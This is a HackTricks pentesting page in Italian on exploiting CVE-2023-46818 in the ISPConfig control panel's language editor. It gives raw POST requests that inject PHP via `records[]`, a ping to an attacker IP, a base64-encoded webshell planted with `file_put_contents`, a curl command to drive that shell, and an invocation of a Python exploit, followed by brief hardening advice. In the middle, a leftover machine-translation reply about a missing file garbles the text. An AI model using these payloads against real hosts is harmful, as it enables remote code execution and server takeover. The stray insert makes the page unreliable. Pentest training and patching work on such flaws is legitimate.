ISPConfig
Reading time: 5 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Panoramica
ISPConfig è un pannello di controllo per hosting open-source. Le versioni più vecchie della serie 3.2.x includevano una funzione di editor dei file di lingua che, se abilitata per il super amministratore, permetteva l'iniezione arbitraria di codice PHP tramite un record di traduzione malformato. Questo può portare a RCE nel contesto del web server e, a seconda di come PHP viene eseguito, a escalation di privilegi.
Percorsi predefiniti principali:
- La web root si trova spesso in
/var/www/ispconfig
quando viene servita conphp -S
o tramite Apache/nginx. - L'Admin UI è raggiungibile sul vhost HTTP(S) (a volte vincolato solo a localhost; usa SSH port-forward se necessario).
Suggerimento: Se il pannello è vincolato localmente (es. 127.0.0.1:8080
), forwardalo:
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
Editor delle lingue PHP code injection (CVE-2023-46818)
- Colpiti: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- Prerequisiti:
- Login as the built-in superadmin account
admin
(altri ruoli non sono interessati secondo il fornitore) - Language editor must be enabled:
admin_allow_langedit=yes
in/usr/local/ispconfig/security/security_settings.ini
- Impatto: un amministratore autenticato può injectare PHP arbitrario che viene scritto in un file di lingua ed eseguito dall'applicazione, ottenendo RCE nel contesto web
Riferimenti: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
Flusso di sfruttamento manuale
- Aprire/creare un file di lingua per ottenere i token CSRF
Inviare un primo POST per inizializzare il form e parsare i campi CSRF dalla risposta HTML (csrf_id
, csrf_key
). Example request path: /admin/language_edit.php
.
- Injectare PHP via records[] e salvare
Inviare un secondo POST includendo i campi CSRF e un record di traduzione malevolo. Minimal command-execution probes:
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
Test fuori banda (osservare ICMP):
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
- Scrivere file e posizionare una webshell
Usare file_put_contents
per creare un file in un percorso raggiungibile via web (es., admin/
):
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
Poi scrivi una semplice webshell usando base64 per evitare caratteri non validi nel body della POST:
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
Non hai fornito il contenuto del file. Per favore incolla qui il contenuto di src/network-services-pentesting/pentesting-web/ispconfig.md che vuoi tradurre in italiano.
Nota: manterrò intatti codice, tag, link, percorsi e termini tecnici come richiesto.
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
Se PHP viene eseguito come root (es., tramite php -S 127.0.0.1:8080
avviato da root), questo porta a una root RCE immediata. Altrimenti si ottiene esecuzione di codice come utente del server web.
Python PoC
Un exploit pronto all'uso automatizza la gestione dei token e la consegna del payload:
Esempio di esecuzione:
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
Rafforzamento
- Aggiornare a 3.2.11p1 o successiva
- Disabilitare l'editor delle lingue a meno che non sia strettamente necessario:
admin_allow_langedit=no
- Evita di eseguire il pannello come root; configura PHP-FPM o il web server per limitare i privilegi
- Applica un'autenticazione forte per l'account integrato
admin
Riferimenti
- ISPConfig 3.2.11p1 Released (fixes language editor code injection)
- CVE-2023-46818 – NVD
- bipbopbup/CVE-2023-46818-python-exploit
- HTB Nocturnal: Root via ISPConfig language editor RCE
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.